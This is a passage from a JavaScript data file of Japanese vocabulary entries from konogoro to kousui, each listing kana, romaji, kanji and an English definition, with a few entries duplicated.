day;lately;recently\"\n\t},\n\n\t{\n\t\t'kana':'このごろ',\n\t\t'romaji':'konogoro',\n\t\t'kanji':'この頃',\n\t\t'definition':\"recently\"\n\t},\n\n\t{\n\t\t'kana':'このましい',\n\t\t'romaji':'konomashii',\n\t\t'kanji':'好ましい',\n\t\t'definition':\"nice;likeable;desirable\"\n\t},\n\n\t{\n\t\t'kana':'このみ',\n\t\t'romaji':'konomi',\n\t\t'kanji':'好み',\n\t\t'definition':\"liking;taste;choice\"\n\t},\n\n\t{\n\t\t'kana':'このむ',\n\t\t'romaji':'konomu',\n\t\t'kanji':'好む',\n\t\t'definition':\"to like;to prefer\"\n\t},\n\n\t{\n\t\t'kana':'コンパス',\n\t\t'romaji':'konpasu',\n\t\t'kanji':'',\n\t\t'definition':\"compass\"\n\t},\n\n\t{\n\t\t'kana':'こんぽん',\n\t\t'romaji':'konpon',\n\t\t'kanji':'根本',\n\t\t'definition':\"origin;source;foundation;root;base;principle\"\n\t},\n\n\t{\n\t\t'kana':'コンピューター',\n\t\t'romaji':'konpyu-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"computer\"\n\t},\n\n\t{\n\t\t'kana':'こんらん',\n\t\t'romaji':'konran',\n\t\t'kanji':'混乱',\n\t\t'definition':\"disorder;chaos;confusion\"\n\t},\n\n\t{\n\t\t'kana':'コンサート',\n\t\t'romaji':'konsa-to',\n\t\t'kanji':'',\n\t\t'definition':\"concert\"\n\t},\n\n\t{\n\t\t'kana':'コンセント',\n\t\t'romaji':'konsento',\n\t\t'kanji':'',\n\t\t'definition':\"concentric;consent;electrical outlet (concentric plug)\"\n\t},\n\n\t{\n\t\t'kana':'コンタクト',\n\t\t'romaji':'kontakuto',\n\t\t'kanji':'',\n\t\t'definition':\"contact;contact lens\"\n\t},\n\n\t{\n\t\t'kana':'こんてい',\n\t\t'romaji':'kontei',\n\t\t'kanji':'根底',\n\t\t'definition':\"root;basis;foundation\"\n\t},\n\n\t{\n\t\t'kana':'コンテスト',\n\t\t'romaji':'kontesuto',\n\t\t'kanji':'',\n\t\t'definition':\"contest\"\n\t},\n\n\t{\n\t\t'kana':'コントラスト',\n\t\t'romaji':'kontorasuto',\n\t\t'kanji':'',\n\t\t'definition':\"contrast\"\n\t},\n\n\t{\n\t\t'kana':'コントロール',\n\t\t'romaji':'kontoro-ru',\n\t\t'kanji':'',\n\t\t'definition':\"control\"\n\t},\n\n\t{\n\t\t'kana':'こんやく',\n\t\t'romaji':'konyaku',\n\t\t'kanji':'婚約',\n\t\t'definition':\"engagement;betrothal\"\n\t},\n\n\t{\n\t\t'kana':'こんざつ',\n\t\t'romaji':'konzatsu',\n\t\t'kanji':'混雑',\n\t\t'definition':\"confusion;congestion\"\n\t},\n\n\t{\n\t\t'kana':'こおり',\n\t\t'romaji':'koori',\n\t\t'kanji':'氷',\n\t\t'definition':\"ice;shaved ice\"\n\t},\n\n\t{\n\t\t'kana':'コピー',\n\t\t'romaji':'kopi-',\n\t\t'kanji':'',\n\t\t'definition':\"1. a (photo)copy; 2. blurb on a book jacket\"\n\t},\n\n\t{\n\t\t'kana':'コップ',\n\t\t'romaji':'kopu',\n\t\t'kanji':'',\n\t\t'definition':\"glass (nl: Kop)\"\n\t},\n\n\t{\n\t\t'kana':'こらえる',\n\t\t'romaji':'koraeru',\n\t\t'kanji':'堪える',\n\t\t'definition':\"to bear;to stand;to endure;to put up with;to support;to withstand;to resist;to brave;to be fit for;to be equal to\"\n\t},\n\n\t{\n\t\t'kana':'コーラス',\n\t\t'romaji':'ko-rasu',\n\t\t'kanji':'',\n\t\t'definition':\"chorus\"\n\t},\n\n\t{\n\t\t'kana':'これ',\n\t\t'romaji':'kore',\n\t\t'kanji':'此れ',\n\t\t'definition':\"this\"\n\t},\n\n\t{\n\t\t'kana':'コレクション',\n\t\t'romaji':'korekusyon',\n\t\t'kanji':'',\n\t\t'definition':\"collection;correction\"\n\t},\n\n\t{\n\t\t'kana':'これら',\n\t\t'romaji':'korera',\n\t\t'kanji':'此れ等',\n\t\t'definition':\"these\"\n\t},\n\n\t{\n\t\t'kana':'こりる',\n\t\t'romaji':'koriru',\n\t\t'kanji':'懲りる',\n\t\t'definition':\"to learn by experience;to be disgusted with\"\n\t},\n\n\t{\n\t\t'kana':'こりつ',\n\t\t'romaji':'koritsu',\n\t\t'kanji':'孤立',\n\t\t'definition':\"isolation;helplessness\"\n\t},\n\n\t{\n\t\t'kana':'ころぶ',\n\t\t'romaji':'korobu',\n\t\t'kanji':'転ぶ',\n\t\t'definition':\"to fall down\"\n\t},\n\n\t{\n\t\t'kana':'ころがる',\n\t\t'romaji':'korogaru',\n\t\t'kanji':'転がる',\n\t\t'definition':\"to roll;to tumble\"\n\t},\n\n\t{\n\t\t'kana':'ころがす',\n\t\t'romaji':'korogasu',\n\t\t'kanji':'転がす',\n\t\t'definition':\"to roll\"\n\t},\n\n\t{\n\t\t'kana':'ころす',\n\t\t'romaji':'korosu',\n\t\t'kanji':'殺す',\n\t\t'definition':\"to kill\"\n\t},\n\n\t{\n\t\t'kana':'こせい',\n\t\t'romaji':'kosei',\n\t\t'kanji':'個性',\n\t\t'definition':\"individuality;personality;idiosyncrasy\"\n\t},\n\n\t{\n\t\t'kana':'こせき',\n\t\t'romaji':'koseki',\n\t\t'kanji':'戸籍',\n\t\t'definition':\"census;family register\"\n\t},\n\n\t{\n\t\t'kana':'こし',\n\t\t'romaji':'koshi',\n\t\t'kanji':'腰',\n\t\t'definition':\"hip\"\n\t},\n\n\t{\n\t\t'kana':'こしかけ',\n\t\t'romaji':'koshikake',\n\t\t'kanji':'腰掛け',\n\t\t'definition':\"seat;bench\"\n\t},\n\n\t{\n\t\t'kana':'こしかける',\n\t\t'romaji':'koshikakeru',\n\t\t'kanji':'腰掛ける',\n\t\t'definition':\"to sit (down)\"\n\t},\n\n\t{\n\t\t'kana':'こしらえる',\n\t\t'romaji':'koshiraeru',\n\t\t'kanji':'拵える',\n\t\t'definition':\"to make;to manufacture\"\n\t},\n\n\t{\n\t\t'kana':'こしょう',\n\t\t'romaji':'koshou',\n\t\t'kanji':'胡椒',\n\t\t'definition':\"pepper\"\n\t},\n\n\t{\n\t\t'kana':'こしょう',\n\t\t'romaji':'koshou',\n\t\t'kanji':'故障',\n\t\t'definition':\"break-down;failure;accident;out of order\"\n\t},\n\n\t{\n\t\t'kana':'こっせつ',\n\t\t'romaji':'kossetsu',\n\t\t'kanji':'骨折',\n\t\t'definition':\"bone fracture\"\n\t},\n\n\t{\n\t\t'kana':'こっそり',\n\t\t'romaji':'kossori',\n\t\t'kanji':'',\n\t\t'definition':\"stealthily;secretly\"\n\t},\n\n\t{\n\t\t'kana':'こす',\n\t\t'romaji':'kosu',\n\t\t'kanji':'超す',\n\t\t'definition':\"to cross;to pass;to tide over\"\n\t},\n\n\t{\n\t\t'kana':'こす',\n\t\t'romaji':'kosu',\n\t\t'kanji':'越す',\n\t\t'definition':\"to go over (e.g. with audience)\"\n\t},\n\n\t{\n\t\t'kana':'こす',\n\t\t'romaji':'kosu',\n\t\t'kanji':'越す',\n\t\t'definition':\"to go over (e.g. with audience)\"\n\t},\n\n\t{\n\t\t'kana':'こす',\n\t\t'romaji':'kosu',\n\t\t'kanji':'越す',\n\t\t'definition':\"to go over (e.g. with audience)\"\n\t},\n\n\t{\n\t\t'kana':'コース',\n\t\t'romaji':'ko-su',\n\t\t'kanji':'',\n\t\t'definition':\"course\"\n\t},\n\n\t{\n\t\t'kana':'こたえ',\n\t\t'romaji':'kotae',\n\t\t'kanji':'答え',\n\t\t'definition':\"answer;response\"\n\t},\n\n\t{\n\t\t'kana':'こたえる',\n\t\t'romaji':'kotaeru',\n\t\t'kanji':'答える',\n\t\t'definition':\"to answer;to reply\"\n\t},\n\n\t{\n\t\t'kana':'こたえる',\n\t\t'romaji':'kotaeru',\n\t\t'kanji':'堪える',\n\t\t'definition':\"to bear;to stand;to endure;to put up with;to support;to withstand;to resist;to brave;to be fit for;to be equal to\"\n\t},\n\n\t{\n\t\t'kana':'こたい',\n\t\t'romaji':'kotai',\n\t\t'kanji':'固体',\n\t\t'definition':\"solid (body)\"\n\t},\n\n\t{\n\t\t'kana':'こたつ',\n\t\t'romaji':'kotatsu',\n\t\t'kanji':'火燵',\n\t\t'definition':\"table with heater;(orig) charcoal brazier in a floor well\"\n\t},\n\n\t{\n\t\t'kana':'こてい',\n\t\t'romaji':'kotei',\n\t\t'kanji':'固定',\n\t\t'definition':\"fixation\"\n\t},\n\n\t{\n\t\t'kana':'こてん',\n\t\t'romaji':'koten',\n\t\t'kanji':'古典',\n\t\t'definition':\"old book;classics;classic\"\n\t},\n\n\t{\n\t\t'kana':'こと',\n\t\t'romaji':'koto',\n\t\t'kanji':'琴',\n\t\t'definition':\"Koto (Japanese harp)\"\n\t},\n\n\t{\n\t\t'kana':'こと',\n\t\t'romaji':'koto',\n\t\t'kanji':'事',\n\t\t'definition':\"thing;matter;fact;circumstances;business;reason;experience\"\n\t},\n\n\t{\n\t\t'kana':'コート',\n\t\t'romaji':'ko-to',\n\t\t'kanji':'',\n\t\t'definition':\"coat;tennis court\"\n\t},\n\n\t{\n\t\t'kana':'コート',\n\t\t'romaji':'ko-to',\n\t\t'kanji':'',\n\t\t'definition':\"coat;tennis court\"\n\t},\n\n\t{\n\t\t'kana':'ことば',\n\t\t'romaji':'kotoba',\n\t\t'kanji':'言葉',\n\t\t'definition':\"word(s);language;speech\"\n\t},\n\n\t{\n\t\t'kana':'ことばづかい',\n\t\t'romaji':'kotobadukai',\n\t\t'kanji':'言葉遣い',\n\t\t'definition':\"speech;expression;wording\"\n\t},\n\n\t{\n\t\t'kana':'ことづける',\n\t\t'romaji':'kotodukeru',\n\t\t'kanji':'言付ける',\n\t\t'definition':\"to send word;to send a message\"\n\t},\n\n\t{\n\t\t'kana':'ことづて',\n\t\t'romaji':'kotodute',\n\t\t'kanji':'言伝',\n\t\t'definition':\"declaration;hearsay\"\n\t},\n\n\t{\n\t\t'kana':'ことがら',\n\t\t'romaji':'kotogara',\n\t\t'kanji':'事柄',\n\t\t'definition':\"matter;thing;affair;circumstance\"\n\t},\n\n\t{\n\t\t'kana':'ことごとく',\n\t\t'romaji':'kotogotoku',\n\t\t'kanji':'悉く',\n\t\t'definition':\"altogether;entirely\"\n\t},\n\n\t{\n\t\t'kana':'ことなる',\n\t\t'romaji':'kotonaru',\n\t\t'kanji':'異なる',\n\t\t'definition':\"to differ;to vary;to disagree\"\n\t},\n\n\t{\n\t\t'kana':'ことに',\n\t\t'romaji':'kotoni',\n\t\t'kanji':'殊に',\n\t\t'definition':\"especially;above all\"\n\t},\n\n\t{\n\t\t'kana':'ことによると',\n\t\t'romaji':'kotoniyoruto',\n\t\t'kanji':'事によると',\n\t\t'definition':\"depending on the circumstances\"\n\t},\n\n\t{\n\t\t'kana':'ことり',\n\t\t'romaji':'kotori',\n\t\t'kanji':'小鳥',\n\t\t'definition':\"small bird\"\n\t},\n\n\t{\n\t\t'kana':'ことし',\n\t\t'romaji':'kotoshi',\n\t\t'kanji':'今年',\n\t\t'definition':\"this year\"\n\t},\n\n\t{\n\t\t'kana':'ことわる',\n\t\t'romaji':'kotowaru',\n\t\t'kanji':'断る',\n\t\t'definition':\"to refuse;to inform;to ask leave;to decline;to dismiss\"\n\t},\n\n\t{\n\t\t'kana':'ことわざ',\n\t\t'romaji':'kotowaza',\n\t\t'kanji':'諺',\n\t\t'definition':\"proverb;maxim\"\n\t},\n\n\t{\n\t\t'kana':'こつ',\n\t\t'romaji':'kotsu',\n\t\t'kanji':'骨',\n\t\t'definition':\"knack;skill\"\n\t},\n\n\t{\n\t\t'kana':'こつ',\n\t\t'romaji':'kotsu',\n\t\t'kanji':'骨',\n\t\t'definition':\"knack;skill\"\n\t},\n\n\t{\n\t\t'kana':'こっとうひん',\n\t\t'romaji':'kottouhin',\n\t\t'kanji':'骨董品',\n\t\t'definition':\"curio\"\n\t},\n\n\t{\n\t\t'kana':'こう',\n\t\t'romaji':'kou',\n\t\t'kanji':'校',\n\t\t'definition':\"-school;proof\"\n\t},\n\n\t{\n\t\t'kana':'こう',\n\t\t'romaji':'kou',\n\t\t'kanji':'',\n\t\t'definition':\"in this way\"\n\t},\n\n\t{\n\t\t'kana':'こう',\n\t\t'romaji':'kou',\n\t\t'kanji':'溝',\n\t\t'definition':\"10^38;hundred undecillion (American);hundred sextillion (British)\"\n\t},\n\n\t{\n\t\t'kana':'こう',\n\t\t'romaji':'kou',\n\t\t'kanji':'溝',\n\t\t'definition':\"10^38;hundred undecillion (American);hundred sextillion (British)\"\n\t},\n\n\t{\n\t\t'kana':'こうばい',\n\t\t'romaji':'koubai',\n\t\t'kanji':'購買',\n\t\t'definition':\"purchase;buy\"\n\t},\n\n\t{\n\t\t'kana':'こうばん',\n\t\t'romaji':'kouban',\n\t\t'kanji':'交番',\n\t\t'definition':\"police box\"\n\t},\n\n\t{\n\t\t'kana':'こうぼ',\n\t\t'romaji':'koubo',\n\t\t'kanji':'公募',\n\t\t'definition':\"public appeal;public contribution\"\n\t},\n\n\t{\n\t\t'kana':'こうぶつ',\n\t\t'romaji':'koubutsu',\n\t\t'kanji':'鉱物',\n\t\t'definition':\"mineral\"\n\t},\n\n\t{\n\t\t'kana':'こうちゃ',\n\t\t'romaji':'koucha',\n\t\t'kanji':'紅茶',\n\t\t'definition':\"black tea\"\n\t},\n\n\t{\n\t\t'kana':'こうち',\n\t\t'romaji':'kouchi',\n\t\t'kanji':'耕地',\n\t\t'definition':\"arable land\"\n\t},\n\n\t{\n\t\t'kana':'こうちょう',\n\t\t'romaji':'kouchou',\n\t\t'kanji':'好調',\n\t\t'definition':\"favourable;promising;satisfactory;in good shape\"\n\t},\n\n\t{\n\t\t'kana':'こうだん',\n\t\t'romaji':'koudan',\n\t\t'kanji':'公団',\n\t\t'definition':\"public corporation\"\n\t},\n\n\t{\n\t\t'kana':'こうど',\n\t\t'romaji':'koudo',\n\t\t'kanji':'高度',\n\t\t'definition':\"altitude;height;advanced\"\n\t},\n\n\t{\n\t\t'kana':'こうどく',\n\t\t'romaji':'koudoku',\n\t\t'kanji':'購読',\n\t\t'definition':\"subscription (e.g. magazine)\"\n\t},\n\n\t{\n\t\t'kana':'こうどく',\n\t\t'romaji':'koudoku',\n\t\t'kanji':'講読',\n\t\t'definition':\"reading;translation\"\n\t},\n\n\t{\n\t\t'kana':'こうどう',\n\t\t'romaji':'koudou',\n\t\t'kanji':'講堂',\n\t\t'definition':\"auditorium\"\n\t},\n\n\t{\n\t\t'kana':'こうどう',\n\t\t'romaji':'koudou',\n\t\t'kanji':'行動',\n\t\t'definition':\"action;conduct;behaviour;mobilization\"\n\t},\n\n\t{\n\t\t'kana':'こうえき',\n\t\t'romaji':'koueki',\n\t\t'kanji':'交易',\n\t\t'definition':\"trade;commerce\"\n\t},\n\n\t{\n\t\t'kana':'こうえん',\n\t\t'romaji':'kouen',\n\t\t'kanji':'講演',\n\t\t'definition':\"lecture;address\"\n\t},\n\n\t{\n\t\t'kana':'こうえん',\n\t\t'romaji':'kouen',\n\t\t'kanji':'公園',\n\t\t'definition':\"(public) park\"\n\t},\n\n\t{\n\t\t'kana':'こうえん',\n\t\t'romaji':'kouen',\n\t\t'kanji':'公演',\n\t\t'definition':\"public performance\"\n\t},\n\n\t{\n\t\t'kana':'こうふ',\n\t\t'romaji':'koufu',\n\t\t'kanji':'交付',\n\t\t'definition':\"delivering;furnishing (with copies)\"\n\t},\n\n\t{\n\t\t'kana':'こうふく',\n\t\t'romaji':'koufuku',\n\t\t'kanji':'幸福',\n\t\t'definition':\"happiness;blessedness\"\n\t},\n\n\t{\n\t\t'kana':'こうふく',\n\t\t'romaji':'koufuku',\n\t\t'kanji':'降伏',\n\t\t'definition':\"capitulation;surrender;submission\"\n\t},\n\n\t{\n\t\t'kana':'こうふん',\n\t\t'romaji':'koufun',\n\t\t'kanji':'興奮',\n\t\t'definition':\"excitement;stimulation;agitation;arousal\"\n\t},\n\n\t{\n\t\t'kana':'こうがい',\n\t\t'romaji':'kougai',\n\t\t'kanji':'公害',\n\t\t'definition':\"public nuisance;pollution\"\n\t},\n\n\t{\n\t\t'kana':'こうがい',\n\t\t'romaji':'kougai',\n\t\t'kanji':'郊外',\n\t\t'definition':\"suburb;outskirts\"\n\t},\n\n\t{\n\t\t'kana':'こうがく',\n\t\t'romaji':'kougaku',\n\t\t'kanji':'工学',\n\t\t'definition':\"engineering\"\n\t},\n\n\t{\n\t\t'kana':'こうげい',\n\t\t'romaji':'kougei',\n\t\t'kanji':'工芸',\n\t\t'definition':\"industrial arts\"\n\t},\n\n\t{\n\t\t'kana':'こうげき',\n\t\t'romaji':'kougeki',\n\t\t'kanji':'攻撃',\n\t\t'definition':\"attack;strike;offensive;criticism;censure\"\n\t},\n\n\t{\n\t\t'kana':'こうげん',\n\t\t'romaji':'kougen',\n\t\t'kanji':'高原',\n\t\t'definition':\"tableland;plateau\"\n\t},\n\n\t{\n\t\t'kana':'こうぎ',\n\t\t'romaji':'kougi',\n\t\t'kanji':'講義',\n\t\t'definition':\"lecture\"\n\t},\n\n\t{\n\t\t'kana':'こうぎ',\n\t\t'romaji':'kougi',\n\t\t'kanji':'抗議',\n\t\t'definition':\"protest;objection\"\n\t},\n\n\t{\n\t\t'kana':'こうご',\n\t\t'romaji':'kougo',\n\t\t'kanji':'交互',\n\t\t'definition':\"mutual;reciprocal;alternate\"\n\t},\n\n\t{\n\t\t'kana':'こうぎょう',\n\t\t'romaji':'kougyou',\n\t\t'kanji':'工業',\n\t\t'definition':\"(manufacturing) industry\"\n\t},\n\n\t{\n\t\t'kana':'こうぎょう',\n\t\t'romaji':'kougyou',\n\t\t'kanji':'興業',\n\t\t'definition':\"industrial enterprise\"\n\t},\n\n\t{\n\t\t'kana':'こうぎょう',\n\t\t'romaji':'kougyou',\n\t\t'kanji':'鉱業',\n\t\t'definition':\"mining industry\"\n\t},\n\n\t{\n\t\t'kana':'こうはい',\n\t\t'romaji':'kouhai',\n\t\t'kanji':'後輩',\n\t\t'definition':\"junior (at work or school)\"\n\t},\n\n\t{\n\t\t'kana':'こうはい',\n\t\t'romaji':'kouhai',\n\t\t'kanji':'荒廃',\n\t\t'definition':\"ruin\"\n\t},\n\n\t{\n\t\t'kana':'こうへい',\n\t\t'romaji':'kouhei',\n\t\t'kanji':'公平',\n\t\t'definition':\"fairness;impartial;justice\"\n\t},\n\n\t{\n\t\t'kana':'こうほ',\n\t\t'romaji':'kouho',\n\t\t'kanji':'候補',\n\t\t'definition':\"candidacy\"\n\t},\n\n\t{\n\t\t'kana':'こうひょう',\n\t\t'romaji':'kouhyou',\n\t\t'kanji':'公表',\n\t\t'definition':\"official announcement;proclamation\"\n\t},\n\n\t{\n\t\t'kana':'こうひょう',\n\t\t'romaji':'kouhyou',\n\t\t'kanji':'好評',\n\t\t'definition':\"popularity;favorable reputation\"\n\t},\n\n\t{\n\t\t'kana':'こうい',\n\t\t'romaji':'koui',\n\t\t'kanji':'行為',\n\t\t'definition':\"act;deed;conduct\"\n\t},\n\n\t{\n\t\t'kana':'こうい',\n\t\t'romaji':'koui',\n\t\t'kanji':'好意',\n\t\t'definition':\"good will;favor;courtesy\"\n\t},\n\n\t{\n\t\t'kana':'こういん',\n\t\t'romaji':'kouin',\n\t\t'kanji':'行員',\n\t\t'definition':\"bank clerk\"\n\t},\n\n\t{\n\t\t'kana':'こうじ',\n\t\t'romaji':'kouji',\n\t\t'kanji':'工事',\n\t\t'definition':\"construction work\"\n\t},\n\n\t{\n\t\t'kana':'こうじつ',\n\t\t'romaji':'koujitsu',\n\t\t'kanji':'口実',\n\t\t'definition':\"excuse\"\n\t},\n\n\t{\n\t\t'kana':'こうじょ',\n\t\t'romaji':'koujyo',\n\t\t'kanji':'控除',\n\t\t'definition':\"subsidy;deduction\"\n\t},\n\n\t{\n\t\t'kana':'こうじょう',\n\t\t'romaji':'koujyou',\n\t\t'kanji':'工場',\n\t\t'definition':\"factory;plant;mill;workshop\"\n\t},\n\n\t{\n\t\t'kana':'こうじょう',\n\t\t'romaji':'koujyou',\n\t\t'kanji':'向上',\n\t\t'definition':\"elevation;rise;improvement;advancement;progress\"\n\t},\n\n\t{\n\t\t'kana':'こうじゅつ',\n\t\t'romaji':'koujyutsu',\n\t\t'kanji':'口述',\n\t\t'definition':\"verbal statement\"\n\t},\n\n\t{\n\t\t'kana':'こうか',\n\t\t'romaji':'kouka',\n\t\t'kanji':'高価',\n\t\t'definition':\"high price\"\n\t},\n\n\t{\n\t\t'kana':'こうか',\n\t\t'romaji':'kouka',\n\t\t'kanji':'硬貨',\n\t\t'definition':\"coin\"\n\t},\n\n\t{\n\t\t'kana':'こうか',\n\t\t'romaji':'kouka',\n\t\t'kanji':'効果',\n\t\t'definition':\"effect;effectiveness;efficacy;result\"\n\t},\n\n\t{\n\t\t'kana':'こうかい',\n\t\t'romaji':'koukai',\n\t\t'kanji':'航海',\n\t\t'definition':\"sail;voyage\"\n\t},\n\n\t{\n\t\t'kana':'こうかい',\n\t\t'romaji':'koukai',\n\t\t'kanji':'公開',\n\t\t'definition':\"presenting to the public\"\n\t},\n\n\t{\n\t\t'kana':'こうかい',\n\t\t'romaji':'koukai',\n\t\t'kanji':'後悔',\n\t\t'definition':\"regret;repentance\"\n\t},\n\n\t{\n\t\t'kana':'こうかん',\n\t\t'romaji':'koukan',\n\t\t'kanji':'交換',\n\t\t'definition':\"exchange;interchange;reciprocity;barter;substitution;clearing (of checks)\"\n\t},\n\n\t{\n\t\t'kana':'こうけい',\n\t\t'romaji':'koukei',\n\t\t'kanji':'光景',\n\t\t'definition':\"scene;spectacle\"\n\t},\n\n\t{\n\t\t'kana':'こうけん',\n\t\t'romaji':'kouken',\n\t\t'kanji':'貢献',\n\t\t'definition':\"contribution;services\"\n\t},\n\n\t{\n\t\t'kana':'こうこがく',\n\t\t'romaji':'koukogaku',\n\t\t'kanji':'考古学',\n\t\t'definition':\"archaeology\"\n\t},\n\n\t{\n\t\t'kana':'こうこく',\n\t\t'romaji':'koukoku',\n\t\t'kanji':'広告',\n\t\t'definition':\"advertisement\"\n\t},\n\n\t{\n\t\t'kana':'こうこう',\n\t\t'romaji':'koukou',\n\t\t'kanji':'高校',\n\t\t'definition':\"senior high school\"\n\t},\n\n\t{\n\t\t'kana':'こうこう',\n\t\t'romaji':'koukou',\n\t\t'kanji':'孝行',\n\t\t'definition':\"filial piety\"\n\t},\n\n\t{\n\t\t'kana':'こうこうと',\n\t\t'romaji':'koukouto',\n\t\t'kanji':'煌々と',\n\t\t'definition':\"brilliantly;brightly\"\n\t},\n\n\t{\n\t\t'kana':'こうくう',\n\t\t'romaji':'koukuu',\n\t\t'kanji':'航空',\n\t\t'definition':\"aviation;flying\"\n\t},\n\n\t{\n\t\t'kana':'こうきょ',\n\t\t'romaji':'koukyo',\n\t\t'kanji':'皇居',\n\t\t'definition':\"Imperial Palace\"\n\t},\n\n\t{\n\t\t'kana':'こうきょう',\n\t\t'romaji':'koukyou',\n\t\t'kanji':'公共',\n\t\t'definition':\"public;community;public service;society;communal\"\n\t},\n\n\t{\n\t\t'kana':'こうきょう',\n\t\t'romaji':'koukyou',\n\t\t'kanji':'好況',\n\t\t'definition':\"prosperous conditions;healthy economy\"\n\t},\n\n\t{\n\t\t'kana':'こうきゅう',\n\t\t'romaji':'koukyuu',\n\t\t'kanji':'高級',\n\t\t'definition':\"high class;high grade\"\n\t},\n\n\t{\n\t\t'kana':'こうもく',\n\t\t'romaji':'koumoku',\n\t\t'kanji':'項目',\n\t\t'definition':\"item\"\n\t},\n\n\t{\n\t\t'kana':'こうむ',\n\t\t'romaji':'koumu',\n\t\t'kanji':'公務',\n\t\t'definition':\"official business;public business\"\n\t},\n\n\t{\n\t\t'kana':'こうみょう',\n\t\t'romaji':'koumyou',\n\t\t'kanji':'巧妙',\n\t\t'definition':\"ingenious;skillful;clever;deft\"\n\t},\n\n\t{\n\t\t'kana':'こうねつひ',\n\t\t'romaji':'kounetsuhi',\n\t\t'kanji':'光熱費',\n\t\t'definition':\"cost of fuel and light\"\n\t},\n\n\t{\n\t\t'kana':'こうにん',\n\t\t'romaji':'kounin',\n\t\t'kanji':'公認',\n\t\t'definition':\"official recognition;authorization;licence;accreditation\"\n\t},\n\n\t{\n\t\t'kana':'こうにゅう',\n\t\t'romaji':'kounyuu',\n\t\t'kanji':'購入',\n\t\t'definition':\"purchase;buy\"\n\t},\n\n\t{\n\t\t'kana':'こうり',\n\t\t'romaji':'kouri',\n\t\t'kanji':'小売',\n\t\t'definition':\"retail\"\n\t},\n\n\t{\n\t\t'kana':'こうりつ',\n\t\t'romaji':'kouritsu',\n\t\t'kanji':'公立',\n\t\t'definition':\"public (institution)\"\n\t},\n\n\t{\n\t\t'kana':'こうりつ',\n\t\t'romaji':'kouritsu',\n\t\t'kanji':'効率',\n\t\t'definition':\"efficiency\"\n\t},\n\n\t{\n\t\t'kana':'こうりょ',\n\t\t'romaji':'kouryo',\n\t\t'kanji':'考慮',\n\t\t'definition':\"consideration;taking into account\"\n\t},\n\n\t{\n\t\t'kana':'こうりょく',\n\t\t'romaji':'kouryoku',\n\t\t'kanji':'効力',\n\t\t'definition':\"effect;efficacy;validity;potency\"\n\t},\n\n\t{\n\t\t'kana':'こうりゅう',\n\t\t'romaji':'kouryuu',\n\t\t'kanji':'交流',\n\t\t'definition':\"alternating current;intercourse;(cultural) exchange;intermingling\"\n\t},\n\n\t{\n\t\t'kana':'こうさ',\n\t\t'romaji':'kousa',\n\t\t'kanji':'交差',\n\t\t'definition':\"cross\"\n\t},\n\n\t{\n\t\t'kana':'こうさい',\n\t\t'romaji':'kousai',\n\t\t'kanji':'交際',\n\t\t'definition':\"company;friendship;association;society;acquaintance\"\n\t},\n\n\t{\n\t\t'kana':'こうさく',\n\t\t'romaji':'kousaku',\n\t\t'kanji':'耕作',\n\t\t'definition':\"cultivation;farming\"\n\t},\n\n\t{\n\t\t'kana':'こうさく',\n\t\t'romaji':'kousaku',\n\t\t'kanji':'工作',\n\t\t'definition':\"work;construction;handicraft;maneuvering\"\n\t},\n\n\t{\n\t\t'kana':'こうさてん',\n\t\t'romaji':'kousaten',\n\t\t'kanji':'交差点',\n\t\t'definition':\"crossing;intersection\"\n\t},\n\n\t{\n\t\t'kana':'こうせい',\n\t\t'romaji':'kousei',\n\t\t'kanji':'構成',\n\t\t'definition':\"organization;composition\"\n\t},\n\n\t{\n\t\t'kana':'こうせい',\n\t\t'romaji':'kousei',\n\t\t'kanji':'公正',\n\t\t'definition':\"justice;fairness;impartiality\"\n\t},\n\n\t{\n\t\t'kana':'こうせき',\n\t\t'romaji':'kouseki',\n\t\t'kanji':'功績',\n\t\t'definition':\"achievements;merit;meritorious service;meritorious deed\"\n\t},\n\n\t{\n\t\t'kana':'こうせん',\n\t\t'romaji':'kousen',\n\t\t'kanji':'光線',\n\t\t'definition':\"beam;light ray\"\n\t},\n\n\t{\n\t\t'kana':'こうしゃ',\n\t\t'romaji':'kousha',\n\t\t'kanji':'後者',\n\t\t'definition':\"the latter\"\n\t},\n\n\t{\n\t\t'kana':'こうしゃ',\n\t\t'romaji':'kousha',\n\t\t'kanji':'校舎',\n\t\t'definition':\"school building\"\n\t},\n\n\t{\n\t\t'kana':'こうし',\n\t\t'romaji':'koushi',\n\t\t'kanji':'講師',\n\t\t'definition':\"lecturer\"\n\t},\n\n\t{\n\t\t'kana':'こうしき',\n\t\t'romaji':'koushiki',\n\t\t'kanji':'公式',\n\t\t'definition':\"formula;formality;official\"\n\t},\n\n\t{\n\t\t'kana':'こうしん',\n\t\t'romaji':'koushin',\n\t\t'kanji':'行進',\n\t\t'definition':\"march;parade\"\n\t},\n\n\t{\n\t\t'kana':'こうしんりょう',\n\t\t'romaji':'koushinryou',\n\t\t'kanji':'香辛料',\n\t\t'definition':\"spices\"\n\t},\n\n\t{\n\t\t'kana':'こうしょう',\n\t\t'romaji':'koushou',\n\t\t'kanji':'高尚',\n\t\t'definition':\"high;noble;refined;advanced\"\n\t},\n\n\t{\n\t\t'kana':'こうしょう',\n\t\t'romaji':'koushou',\n\t\t'kanji':'交渉',\n\t\t'definition':\"negotiations;discussions;connection\"\n\t},\n\n\t{\n\t\t'kana':'こうしゅう',\n\t\t'romaji':'koushuu',\n\t\t'kanji':'公衆',\n\t\t'definition':\"the public\"\n\t},\n\n\t{\n\t\t'kana':'こうしゅう',\n\t\t'romaji':'koushuu',\n\t\t'kanji':'講習',\n\t\t'definition':\"short course;training\"\n\t},\n\n\t{\n\t\t'kana':'こうそく',\n\t\t'romaji':'kousoku',\n\t\t'kanji':'高速',\n\t\t'definition':\"high speed;high gear\"\n\t},\n\n\t{\n\t\t'kana':'こうそく',\n\t\t'romaji':'kousoku',\n\t\t'kanji':'拘束',\n\t\t'definition':\"restriction;restraint\"\n\t},\n\n\t{\n\t\t'kana':'こうそう',\n\t\t'romaji':'kousou',\n\t\t'kanji':'高層',\n\t\t'definition':\"upper\"\n\t},\n\n\t{\n\t\t'kana':'こうそう',\n\t\t'romaji':'kousou',\n\t\t'kanji':'構想',\n\t\t'definition':\"plan;plot;idea;conception\"\n\t},\n\n\t{\n\t\t'kana':'こうそう',\n\t\t'romaji':'kousou',\n\t\t'kanji':'抗争',\n\t\t'definition':\"dispute;resistance\"\n\t},\n\n\t{\n\t\t'kana':'こうすい',\n\t\t'romaji':'kousui',\n\t\t'kanji':'香水',\n\t\t'definition':\"perfume\"\n\t},\n\n\t{\n\t\t'kana':'こうすい',\n\t\t'romaji':'kousui',\n\t\t'kanji':'降水',\n\t\t'definition':\"rainfall;precipitation\"\n\t},\n\n\t{\n\t\t'ka